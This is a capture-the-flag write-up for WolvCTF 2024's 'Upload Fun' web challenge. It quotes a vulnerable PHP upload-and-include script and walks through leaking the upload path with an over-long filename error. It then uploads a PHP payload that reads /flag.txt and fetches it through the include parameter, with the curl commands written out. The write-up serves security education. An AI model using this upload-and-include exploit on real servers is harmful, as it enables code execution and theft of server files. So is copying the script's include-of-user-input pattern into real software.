4.6 KiB
| title | date | tags | |||
|---|---|---|---|---|---|
| WolvCTF 2024 - Web: Upload Fun | 2024-03-20 |
|
Task
I made a website where you can upload files.
What could go wrong?
Note: Automated tools like sqlmap and dirbuster are not allowed (and will not be helpful anyway).
Author: samxmlPoints: 418Solves: 35 / 622 (5.627%)
Writeup
The provided webpage displays the following PHP code:
<?php
if($_SERVER['REQUEST_METHOD'] == "POST"){
if ($_FILES["f"]["size"] > 1000) {
echo "file too large";
return;
}
if (str_contains($_FILES["f"]["name"], "..")) {
echo "no .. in filename please";
return;
}
if (empty($_FILES["f"])){
echo "empty file";
return;
}
$ip = $_SERVER['REMOTE_ADDR'];
$flag = file_get_contents("/flag.txt");
$hash = hash('sha256', $flag . $ip);
if (move_uploaded_file($_FILES["f"]["tmp_name"], "./uploads/" . $hash . "_" . $_FILES["f"]["name"])) {
echo "upload success";
} else {
echo "upload error";
}
} else {
if (isset($_GET["f"])) {
$path = "./uploads/" . $_GET["f"];
if (str_contains($path, "..")) {
echo "no .. in f please";
return;
}
include $path;
}
highlight_file("index.php");
}
?>
From this we can determine the following:
- Files that we upload are saved to
./uploads/{hash of the flag and our ip}_{file name} - We cannot perform a path traversal attack since
..is checked for when uploading/retrieving a file - We can include arbitrary PHP code by sending a GET request with the
fparameter set to a file we uploaded, which we can use to get the flag
If we can determine where the server saves our uploaded files, we can get the flag. This however, is based on the flag, which we do not know.
After a bit of experimentation, we can notice that if an error occurs, the error message is displayed to us. For example, if we try to include file we get the following message:
Warning: include(./uploads/file): Failed to open stream: No such file or directory in /var/www/html/index.php on line 34
Warning: include(): Failed opening './uploads/file' for inclusion (include_path='.:/usr/local/lib/php') in /var/www/html/index.php on line 34
Therefore, it might be possible to leak the flag or the hash by causing an error. The only lines that handle these are the following:
$hash = hash('sha256', $flag . $ip);if (move_uploaded_file($_FILES["f"]["tmp_name"], "./uploads/" . $hash . "_" . $_FILES["f"]["name"])) {
It is unlikely that we can cause an error when the hash is calculated, so let's focus on the second line, which will move our file from its temporary location to ./uploads/{hash}_{name}.
One way we can cause an error with this line is if the filename exceeds the length limit (typically 255 bytes). Let's try exploiting this:
$ echo "hi" > a.txt
$ curl -F "f=@a.txt;filename=$(python -c 'print("a" * 256)')" https://upload-fun-okntin33tq-ul.a.run.app
<br />
<b>Warning</b>: move_uploaded_file(./uploads/331763d5cb0983f537fb0adcade90717750397b3839c7f844c98eca4ee27fa4d_aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa): Failed to open stream: File name too long in <b>/var/www/html/index.php</b> on line <b>22</b><br />
<br />
<b>Warning</b>: move_uploaded_file(): Unable to move "/tmp/phptdqk8n" to "./uploads/331763d5cb0983f537fb0adcade90717750397b3839c7f844c98eca4ee27fa4d_aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" in <b>/var/www/html/index.php</b> on line <b>22</b><br />
upload error
Now that we know where our files will be saved, we can run the following commands to get the flag:
$ HASH="331763d5cb0983f537fb0adcade90717750397b3839c7f844c98eca4ee27fa4d"
$ echo "<?php echo file_get_contents('/flag.txt'); ?>" > exploit.php
$ curl -F "f=@exploit.php" https://upload-fun-okntin33tq-ul.a.run.app
upload success
$ curl https://upload-fun-okntin33tq-ul.a.run.app?f=${HASH}_exploit.php
wctf{h0w_d1d_y0u_gu355_th3_f1l3n4me?_7523015134}
...